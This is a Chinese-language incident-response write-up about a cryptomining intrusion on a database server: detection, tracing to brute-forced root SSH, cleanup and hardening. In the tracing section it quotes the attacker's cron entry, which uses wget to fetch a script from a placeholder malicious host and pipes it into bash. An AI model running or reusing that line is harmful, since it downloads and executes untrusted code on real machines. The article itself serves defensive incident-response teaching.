網絡安全運維應急響應與溯源分析實戰案例

在日常運維過程中,網絡安全事件時有發生,快速響應和精準溯源是保障業務穩定運行的關鍵。本文將通過一個實際案例,詳細解析從發現問題到溯源定位,再到最終解決的完整流程。

目錄

一、事件背景

二、事件發現

1. 監控告警觸發

2. 初步分析

三、溯源分析

1. 確定入侵源頭

四、處置與恢復

1. 立刻阻斷攻擊者控制

2. 清除惡意程序

3. 服務器加固

五、總結與經驗


一、事件背景

某互聯網公司運維團隊在日常巡檢時,發現一臺數據庫服務器(192.168.1.100)的CPU使用率異常升高,并伴隨大量未知進程占用系統資源,同時MySQL的查詢響應時間大幅延長。初步判斷可能存在異常入侵行為。

二、事件發現

1. 監控告警觸發

使用 Zabbix 監控發現:

  • CPU 使用率持續超過 90%(長期穩定在 20% 左右)
  • MySQL QPS/TPS 下降明顯,導致應用訪問變慢
  • 服務器 磁盤 I/O 高異常

同時,Wazuh SIEM 平臺檢測到該服務器有異常 SSH 登錄記錄,涉及多個可疑 IP 地址。

2. 初步分析

(1)服務器資源消耗情況排查

top -c
ps aux --sort=-%cpu | head -10
ps aux --sort=-%mem | head -10

發現多個可疑進程(xmrigkthreadd)在占用大量 CPU 資源,疑似挖礦木馬。

(2)網絡連接檢測

netstat -antp
ss -tunlp
lsof -i

發現多個可疑的遠程連接,連接至境外服務器 45.67.X.X:3333,疑似 C&C 服務器。

(3)日志分析

grep "Accepted password" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}'

發現多個異常 SSH 登錄記錄,部分 IP 源自境外,且短時間內進行了高頻登錄。

三、溯源分析

1. 確定入侵源頭

使用 HIDS(主機入侵檢測) 結合 日志分析,溯源入侵行為:

  1. 攻擊者利用弱密碼暴力破解 SSH 賬戶(root/root123)
  2. 登錄后下載并運行惡意挖礦程序(XMRig)
  3. 修改 crontab 以保持長期控制

檢查 SSH 登錄記錄

last -i | grep "root"

發現 root 賬戶從多個不明 IP 登錄。

檢查計劃任務

crontab -l
cat /etc/crontab
ls -al /etc/cron.hourly/

發現惡意計劃任務,定期下載并運行木馬:

wget -qO- http://malicious-site.com/m.sh | bash

查找可疑進程執行路徑

which xmrig
ls -l /usr/local/bin/xmrig
strings /usr/local/bin/xmrig

確認該進程為 挖礦程序,并且被設置為開機自啟。

四、處置與恢復

1. 立刻阻斷攻擊者控制

  • 阻止惡意 IP
iptables -A INPUT -s 45.67.X.X -j DROP
firewalld-cmd --permanent --add-rich-rule='rule family="ipv4" source address="45.67.X.X" reject'
  • 禁用 root 遠程登錄
sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
systemctl restart sshd
  • 修改所有賬戶密碼,并啟用 SSH 公鑰認證

2. 清除惡意程序

  • 殺掉惡意進程
pkill -f xmrig
kill -9 $(pgrep -f xmrig)
  • 刪除木馬文件
rm -rf /usr/local/bin/xmrig /tmp/malicious.sh /etc/cron.hourly/malicious
  • 檢查后門
ls -al /root/.ssh/

發現 authorized_keys 中被植入了攻擊者的 SSH 公鑰,需刪除:

echo "" > /root/.ssh/authorized_keys

3. 服務器加固

  • 開啟 fail2ban 防暴力破解
apt install fail2ban -y
systemctl enable fail2ban
  • 設置 SSH 端口為非默認端口
sed -i 's/#Port 22/Port 2222/' /etc/ssh/sshd_config
systemctl restart sshd
  • 關閉不必要的端口
netstat -tulnp | grep LISTEN
systemctl disable unneeded-service

五、總結與經驗

  1. SSH 賬戶密碼要設置足夠復雜,避免使用 root 直接登錄。
  2. 部署 Wazuh、Fail2ban 等安全工具,實時監控入侵行為。
  3. 定期檢查服務器 CPU、內存、I/O 指標,發現異常及時分析。
  4. 建立應急響應預案,形成自動化處置流程。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/72605.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/72605.shtml
英文地址,請注明出處:http://en.pswp.cn/web/72605.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【AVRCP】藍牙協議棧深度解析:AVCTP互操作性核心機制與實現細節

目錄 一、事務標簽(Transaction Label)機制 1.1 事務標簽核心規則 1.2 事務標簽作用域與并發性 1.3 實現建議與陷阱規避 1.4 協議設計思考 1.5 調試與驗證 二、消息分片(Fragmentation)機制 2.1 分片觸發條件 2.2 分片支…

harmonyOS NEXT開發與前端開發深度對比分析

文章目錄 1. 技術體系概覽1.1 技術棧對比1.2 生態對比 2. 開發范式比較2.1 鴻蒙開發范式2.2 前端開發范式 3. 框架特性對比3.1 鴻蒙 Next 框架特性3.2 前端框架特性 4. 性能優化對比4.1 鴻蒙性能優化4.2 前端性能優化 5. 開發工具對比5.1 鴻蒙開發工具5.2 前端開發工具 6. 學習…

OpenWebUI:一站式 AI 應用構建平臺體驗

🚀 大家好,今天給大家分享一個超棒的 AI 應用構建工具——OpenWebUI!體驗下來,只能說絲滑!必須強烈推薦! 🔥 聽說過阿里巴巴的 Qwen 嗎?他們最新的 Qwen Chat 網站就是用 OpenWebUI…

多線程—進程與線程

1 進程 1.1 進程概念 進程:操作系統提供的一種抽象,當程序在運行時,好像計算機的所有硬件資源都在為其服務。換言之,進程就是程序的一次運行過程。進程是操作系統分配資源的基本單位。 注意:區分進程和程序&#xff0…

[原創](Modern C++)現代C++的關鍵性概念: 靈活多變的綁定: std::bind

[作者] 常用網名: 豬頭三 出生日期: 1981.XX.XX 企鵝交流: 643439947 個人網站: 80x86匯編小站 編程生涯: 2001年~至今[共24年] 職業生涯: 22年 開發語言: C/C、80x86ASM、Object Pascal、Objective-C、C#、R、Python、PHP、Perl、 開發工具: Visual Studio、Delphi、XCode、C …

ssm框架之mybatis框架動態SQL

1 mybatis動態sql mybatis可以通過各種各樣的標簽在sql映射文件中實現如下功能 1、語句的動態拼接 2、前后綴格式處理 3、復雜參數處理 常用標簽如下: 1.1 if標簽 如下示例,當有一個入參為null或者空的時候的時候,不參與計算,…

Spring Boot 事務詳解

Spring Boot 事務詳解 引言 在現代應用程序中,事務管理是確保數據一致性和完整性的重要機制。Spring Boot 提供了強大的事務管理功能,使得開發者可以輕松地定義和管理事務。本文將詳細介紹 Spring Boot 中的事務管理,包括事務傳播行為、事務…

poetry使用

1.初始化 package name 填入口文件名 poetry init2.在本目錄下虛擬 poetry config virtualenvs.in-project true 3.自動生成依賴文件和vent虛擬環境,管理本項目下載包 poetry add flask pandas numpy 4 4.下載依賴 poetry install 5.查看都安裝了什么包 poe…

Git 新建本地分支并關聯到遠程倉庫

文章目錄 1、方法一2、方法二 1、方法一 A、新建本地分支: git checkout -b new-branch-nameB、push新分支到遠程倉庫: git push origin newBranchC、本地分支關聯到遠程(選一個即可): git branch --set…

一條SQL在mysql數據庫中經歷的過程

SQL語句在MySQL數據庫中普遍經歷的過程如下: 客戶端發起查詢請求到MySQL數據庫服務器監聽端口; MySQL數據庫server端接收到請求; server端從已有的連接池或者新建一個線程,用來處理客戶端發起的請求; server層…

Compose 的產生和原理

引言 compose 出現的目的: 重新定義android 上ui 的編寫方式。為了提高android 原生ui開發效率。讓android 的UI開發方式跟上時代。 正文 compose 是什么? 就是一套ui框架 和flutter 一樣是一套ui框架 Flutter:跨平臺開發趨勢與企業應用的…

【計算機網絡】一二章

一 二 非常棒的例子 相同的傳播時延,帶寬越大,該鏈路上所能容納的比特數越多 相同的傳播時延,帶寬越大,該鏈路上所能容納的比特數越多 往返時間(Round-Trip Time,RTT)s是指從發送端發送數據分組…

微軟OneNote無法同步解決方案

目錄 前言原因UWP特性 解決方案C***h注冊表 參考鏈接 前言 假設有多臺Windows電腦,最方便且免費的多設備筆記同步方案就是微軟自家的OneNote,使用OneDrive自帶的5G云存儲。 但是在國內大陸的OneNote,經常會出現無法同步、同步失敗&#xff1…

《商業智能(BI)的演進:從數據倉庫到智能決策》

01、什么是商業智能BI? 商業智能BI - 派可數據商業智能BI可視化分析平臺 首先要了解什么是商業智能BI( Business Intelligence )?百度商業智能BI有很多很多官方的定義,各種解釋,實際上從這么多年的經驗出發…

云鑰科技工業相機定制服務,助力企業實現智能智造

在工業自動化、智能制造和機器視覺快速發展的今天,工業相機作為核心感知設備,其性能直接決定了檢測精度、生產效率和產品質量。然而,標準化工業相機往往難以滿足復雜多樣的應用場景需求,?工業相機定制?逐漸成為企業突破技術瓶頸…

LeetCode[19]刪除鏈表的倒數第N個節點

思路: 要想一次循環,一趟遍歷完,那肯定是要想到雙指針了,但是雙指針怎么做呢?題目給出刪除倒數第N個,我們如果能找到倒數第N個節點的前一個節點就行了,倒數第N個肯定是倒著數,那我們…

API調用大模型推理與第三方API實現業務整合

基于Python實現大模型推理與第三方API調用的集成,需要結合Function Call機制與提示詞工程。 一、技術架構設計 雙階段流程 推理階段:大模型解析用戶意圖,生成結構化API調用指令執行階段:Python代碼解析指令并觸發第三方API # 示例…

Java面試:集合框架體系

一、ArrayList 1.數組(Array) 是一種用連續的內存空間存儲相同數據類型數據的線性數據結構 數組如何獲取其他元素的地址值? 尋址公式:a[i] baseAddress i * dataTypeSize baseAddress:數組的首地址dataTypeSize&am…

麒麟v10 ARM64架構系統升級mysql數據庫從mysql-5.7.27到mysql-8.4.4圖文教程

1、背景與問題說明 因mysql-5.2.27版本存在安全漏洞問題,為保障系統安全,需將處于生產環境的麒麟v10 ARM64架構系統服務器上當前部署的mysql-5.7.27版本升級到mysql-8.4.4,以規避潛在風險,提升系統整體的安全性和穩定性。 1.1 本…

Android多線程通信機制

目錄 ?引言 ?一、Android多線程通信的核心機制 ?1. Handler Looper MessageQueue ?2. AsyncTask(已過時,但仍有參考價值)? ?3. HandlerThread與IntentService ?4. 線程池(ThreadPoolExecutor)? ?5. …